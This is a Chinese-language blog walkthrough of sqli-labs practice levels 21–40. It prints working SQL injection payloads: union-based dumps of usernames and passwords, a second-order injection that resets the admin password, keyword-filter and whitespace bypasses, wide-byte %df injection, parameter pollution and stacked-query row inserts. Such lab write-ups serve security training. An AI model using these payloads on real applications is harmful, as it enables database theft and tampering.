sqli-labs靶场通关攻略(21-40)

第二十一关

登陆后显示如下图界面,感觉和cookie注入有些相似

进行抓包,发现cookie被编码

返回来查看源代码,发现这里被base64编码

我们将抓到的包发至重放器,在cookie字段写入查询代码并改为base64编码

发送请求即可得到数据库名

剩余操作大家自行查询


第二十二关

登陆后显示界面和二十一关一样

查看源代码发现也是被base64编码

基本和二十一关相同,只是闭合方式不同

1" union select 1,2,database() #

编码后:MSIgdW5pb24gc2VsZWN0IDEsMixkYXRhYmFzZSgpIw==

后续大家自行查询


第二十三关

输入1'登录不成功,1'#也不成功

而1' '成功登录,说明#被注释

测试回显位

爆出库名

?id=-1' union select 1,database(),3 '

爆表名

?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 '

爆字段名

?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 '

爆字段信息

?id=-1' union select 1,(select group_concat(username,password) from users),3 '


第二十四关

进入24关,有注册、登录、忘记密码等界面

我们先注册一个名为admin的帐号,这里提示我们admin已存在

所以我们重新注册一个admin'#的账号,密码位123456,注册后登录,可以在这个界面修改密码,单引号是为了和之后密码修的用户名的单引号进行闭合,#是为了注释后面的数据。此时修改的就是 admin 的密码。

密码修改成功

我们使用修改的密码登录admin的账号,成功登录

我们这次所用的方法叫做二次排序注入,也叫做存储型的注入,就是将可能导致sql 注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以触发 sql 注入。


 第二十五关

先判断闭合方式

?id=1' --+

联合查询查看回显位置

?id=-1' union select 1,2,3 --+

爆出数据库名

?id=-1' union select 1,database(),3 --+

爆表名,页面上提示'or'和'and'会被注释,说明单词中出现的也会白注释,我们可以使用双写的方法规避注释

?id=-1' union select 1,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'),3 --+

后续大家自行查询,记住规避'or''和'and'


第二十六关

判断闭合方式,我们实验发现#和--+都闭合不了,所以这里我们用一个不常用的注释

?id=1';%00

测试发现常规代替空格的方式都被注释了,正好()也能代替空格使用,-号也被注释,我们就选一个不存在的数亮出回显位置

?id=99'union(select(1),(2),(3));%00

爆出数据库名

?id=99'union(select(1),(database()),(3));%00


第二十七关

判断闭合方式,和上一关一样

?id=1';%00

由于页面提示屏蔽了union和select字样,所以我们采用双写和大小写的方式绕开,空格用%09代替,亮出回显

?id=99' ununionion%09seleCt %091,2,3;%00

爆出数据库名

?id=99' ununionion%09seleCt %091,database(),3;%00


第二十八关

判断闭合方式

?id=1');%00

过滤一组union select ,以下代码绕开过滤

?id=1')%09ununion%09selection%09select%091,2,3;%00

确定回显,爆出数据库名称

?id=99')%09ununion%09selection%09select%091,database(),3;%00


第二十九关

判断闭合方式

?id=1'--+

这关用常规方法也是可以做出来,但是毕竟是新的关卡,肯定有它出现的道理,看了下源码发现是代码逻辑漏洞导致的重复参数注入,就是会对输入的参数进行校验是否为数字,但是在对参数值进行校验之前的提取时候只提取了第一个id值,如果我们有两个id参数,第一个id参数正常数字,第二个id参数进行sql注入。

?id=1&id=-1' union select 1,2,3--+

下面我们就要常规方法解题了

爆库名

?id=-1' union select 1,database(),3--+

爆表名

?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3--+

爆字段名

?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3--+

爆字段数据

?id=-1' union select 1,(select group_concat(username,password) from users),3--+


第三十关

和二十九关相似,只不过是闭合方式变成了"

?id=1"--+

亮出回显

?id=1&id=-1" union select 1,2,3--+

爆出数据库名

?id=1&id=-1" union select 1,database(),3--+


第三十一关

这一关的闭合方式是"),其余的和29关一样

查出数据库名

?id=1&id=99") union select 1,database(),3--+


第三十二关

测试了'和"没什么反应

我们去看看源码,addslashes函数的作用就是让'变成\',让引号变得不再是原本的“单引号”,没有了之前的语义,而是变成了一个字符。那么我们现在要做的就是想办法将'前面的\给它去除掉,'和/都进行了过滤,因此我们就无法闭合,现在就可以使用宽字节注入了

那么我们尝试在'前面加%df看看,发现出现了报错语句

直接联合查询爆出库名

?id=-1%df' union select 1,database(),3--+


第三十三关

查看源码发现和上一关的方法是一样的

直接爆出库名

?id=-1%df’ union select 1,database(),3--+


第三十四关

进入本关发现是post提交

查看源码发现我们的用户名和密码都被编码,还需用到宽字节注入

 由于是post传参,我们使用bp抓包,爆出库名


第三十五关

查看网站源码发现还是用了addslashes()函数作为过滤

但是测试发现它为数字型注入,相当于没过滤,直接爆出库名


第三十六关

我们先输入'和",发现页面都没有反应

 

查看源码发现使用了 MySQL_real_escape_string函数进行了过滤

 

我们尝试用宽字节注入

成功爆出库名


第三十七关 

输入用户名和密码测试出前面加反斜杠方式过滤了单引号等字符,这次为post传参

看看源代码,和上一关一样的过滤函数

我们抓包进行宽字节注入,成功爆出库名


第三十八关

先来测试闭合

联合查询直接爆出库名了

感觉没那么简单,我们来看看源代码

mysqli_multi_query函数,该函数支持多条sql语句同时进行,所以这题是考察堆叠注入

我们尝试往数据库添加一条信息

?id=-1'; insert into users(id,username,password) values('18','bob','security')--+

访问id=18可以看到我们已经注入信息

 


第三十九关

数字型注入,直接爆出库名

查看源码发现也可堆叠注入

我们在数据库中新建一条信息

?id=1;insert into users(id,username,password) values ('20','san','er')--+

输入id=20即可访问到我们注入的信息


第四十关

和前几关一样,只是闭合方式不同

联合注入爆出库名

 

尝试堆叠注入

?id=-1'); insert into users(id,username,password) values ('21','ershiyi','2221')--+

 

输入id=20查看我们注入的信息

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值